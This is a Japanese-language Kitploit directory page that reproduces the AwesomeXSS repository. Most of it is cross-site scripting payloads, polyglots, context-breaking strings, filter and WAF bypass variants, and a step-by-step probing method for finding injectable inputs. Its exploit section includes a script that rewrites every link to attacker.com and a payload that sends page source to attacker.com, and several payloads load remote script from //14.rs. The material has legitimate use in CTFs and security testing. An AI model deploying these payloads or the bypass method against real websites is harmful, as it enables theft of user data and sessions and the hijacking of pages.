Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
AwesomeXSS — 素晴らしいXSS関連情報 | Kitploit
ツール/GitHubGitHub/s0md3v/awesomexss
ペイロード生成WAFバイパスウェブセキュリティCTF論文と研究学習と教育厳選リソース学習パスとコースラボと実践
GitHubs0md3v/awesomexss

AwesomeXSS

素晴らしいXSS関連情報

リポジトリを見る
5.1k7821年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

AwesomeXSS

このリポジトリはAwesome XSSリソースのコレクションです。コントリビューションは歓迎です。Issueとして提出してください。

Awesome コンテンツ

  • チャレンジ
  • 記事 & プレゼンテーション
  • ツール
  • マインドマップ
  • DOM XSS
  • ペイロード
  • ポリグロット
  • タグ & イベントハンドラ
  • コンテキスト突破
    • HTML コンテキスト
    • 属性コンテキスト
    • JavaScript コンテキスト
  • confirm バリアント
  • エクスプロイト
  • プロービング
  • バイパス
  • エンコーディング
  • ヒント & テクニック

Awesome チャレンジ

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Awesome 記事 & プレゼンテーション

  • Bypassing XSS Detection Mechanisms
  • XSS in Facebook via PNG Content Type
  • How I met your girlfriend
  • How to Find 1,352 Wordpress XSS Plugin Vulnerabilities in one hour
  • Blind XSS
  • Copy Pest

Awesome ツール

  • XSStrike
  • BeEF
  • JShell

Awesome XSS マインドマップ

Jack Masa氏による美しいXSSマインドマップはこちら

Awesome DOM XSS

  • 入力がシンクに到達するか? Vulnerable
  • 到達しないか? Not vulnerable

Source: 外部(信頼できない)ソースによって制御される可能性のある入力。

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: 脆弱性につながる可能性のある危険なメソッド。ここではDOMベースのXSS。

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

このシンクとソースの包括的なリストはdomxsswikiから引用しています。

Awesome ペイロード

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Awesome ポリグロット

私が作成した、20以上のコンテキストを突破できるXSSポリグロットです:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

仕組みの解説はこちら

Awesome タグ & イベントハンドラ

  • 説明付きの105のイベントハンドラ
  • 説明なしの200のイベントハンドラ

検出されにくいイベントハンドラ

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

よく使うHTMLタグ

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Awesome コンテキスト突破

HTML コンテキスト

ケース: <tag>You searched for $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

属性コンテキスト

ケース: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript コンテキスト

ケース: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Awesome confirm バリアント

そう、alertはメジャーすぎるのでconfirmを使います。

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Awesome エクスプロイト

すべてのリンクを置換する
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
ソースコード窃取
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Awesome プロービング

ここまでで何も機能しない場合は、Awesome Bypassingセクションを参照してください。

まず、d3vのような無害な文字列を入力し、ソースコードを確認して、リフレクションの数とコンテキストを把握します。
次に属性コンテキストの場合、x"d3vを入力してダブルクォート(")がフィルタリングされるか確認します。x&quot;d3vに変換される場合、出力は適切にエスケープされている可能性が高いです。その場合は、x'd3vを入力してシングルクォート(')でも同様に試します。x&apos;に変換されるなら、もう打つ手がありません。試せるのはエンコーディングだけです。
クォートがフィルタリングされていない場合は、Awesome Context Breakingセクションのペイロードをそのまま試せます。
JavaScriptコンテキストの場合、どのクォートが使われているか確認します。例えば以下のようにしている場合です。

root@kitploit:~
variable = 'value' or variable = "value"

ここで、シングルクォート(')が使われているとします。その場合はx'd3vを入力します。x\'d3vに変換される場合、プローブにバックスラッシュを追加してバックスラッシュ(\)自体をエスケープしてみます。つまりx\'d3vです。それが機能したら、次のペイロードを使用します:

root@kitploit:~
\'-alert()//

しかしx\\\'d3vに変換される場合は、次の方法でスクリプトタグ自体を閉じることだけが試せます:

root@kitploit:~
</script><svg onload=alert()>

単純なHTMLコンテキストの場合、プローブはx<d3vです。x&gt;d3vに変換される場合は、適切なサニタイズが行われています。そのままリフレクションされる場合は、ダミータグを入力して潜在的なフィルタを確認します。私がよく使うダミータグはx<xxx>です。何らかの形で除去・変更される場合、フィルタが<と>のペアを探しているということです。これは次のように簡単にバイパスできます:

root@kitploit:~
<svg onload=alert()//

またはこちら(すべてのケースで機能するとは限りません):

root@kitploit:~
<svg onload=alert()

ダミータグがそのままソースコードに残る場合は、以下のいずれかのペイロードを使用します:

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Awesome バイパス

注: これらのペイロードはどれもシングルクォート(')もダブルクォート(")も使用しません。

  • イベントハンドラなし
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • スペースなし
root@kitploit:~
<svg/onload=confirm()>

  • スラッシュ(/)なし
root@kitploit:~
<svg onload=confirm()>

  • 等号(=)なし
root@kitploit:~
<script>confirm()</script>
  • 閉じ山括弧(>)なし
root@kitploit:~
<svg onload=confirm()//
  • alert、confirm、promptなし
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • 有効なHTMLタグなし
root@kitploit:~
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • タグブラックリストのバイパス
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Awesome エンコーディング

Awesome ヒント & テクニック

  • http(s)://は//、/\\、\\に短縮できます。
  • document.cookieはcookieに短縮できます。他のDOMオブジェクトにも同様に適用されます。
  • alertや他のポップアップ関数に値は不要です。alert('XSS')と書くのをやめてalert()と書きましょう。
  • タグを閉じるのに>の代わりに//を使用できます。
  • confirmが最も検出されにくいポップアップ関数だと分かりました。alertの使用はやめましょう。
  • 属性値にスペースが含まれない限り、属性値を囲むクォートは不要です。<script src="//14.rs">の代わりに<script src=//14.rs>を使用できます。
  • 最も短いHTMLコンテキストXSSペイロードは(19文字)です。

Awesome クレジット

特に記載がない限り、すべてのペイロードは私が作成したものです。

ツールをダウンロード
HTML文字Numeric説明HexCSS (ISO)JS (Octal)URL
&quot;"&#34;引用符u+0022\0022\42%22
&num;#&#35;番号記号u+0023\0023\43%23
&dollar;$&#36;ドル記号u+0024\0024\44%24
&percnt;%&#37;パーセント記号u+0025\0025\45%25
&amp;&&#38;アンパサンドu+0026\0026\46%26
&apos;'&#39;アポストロフィu+0027\0027\47%27
&lpar;(&#40;左括弧u+0028\0028\50%28
&rpar;)&#41;右括弧u+0029\0029\51%29
&ast;*&#42;アスタリスクu+002A\002a\52%2A
&plus;+&#43;プラス記号u+002B\002b\53%2B
&comma;,&#44;カンマu+002C\002c\54%2C
&minus;-&#45;ハイフンマイナスu+002D\002d\55%2D
&period;.&#46;終止符; ピリオドu+002E\002e\56%2E
&sol;/&#47;ソリダス; スラッシュu+002F\002f\57%2F
&colon;:&#58;コロンu+003A\003a\72%3A
&semi;;&#59;セミコロンu+003B\003b\73%3B
&lt;<&#60;小なりu+003C\003c\74%3C
&equals;=&#61;等号u+003D\003d\75%3D
&gt;>&#62;大なり記号u+003E\003e\76%3E
&quest;?&#63;疑問符u+003F\003f\77%3F
&commat;@&#64;アットマーク; 単価記号u+0040\0040\100%40
&lsqb;[&#91;左角括弧u+005B\005b\133%5B
&bsol;\&#92;バックスラッシュu+005C\005c\134%5C
&rsqb;]&#93;右角括弧u+005D\005d\135%5D
&Hat;^&#94;サーカムフレックスアクセントu+005E\005e\136%5E
&lowbar;_&#95;下線u+005F\005f\137%5F
&grave;`&#96;グレイヴ・アクセントu+0060\0060\u0060%60
&lcub;{&#123;左波括弧u+007b\007b\173%7b
&verbar;|&#124;縦棒u+007c\007c\174%7c
&rcub;}&#125;右波括弧u+007d\007d\175%7d
<script src=//14.rs>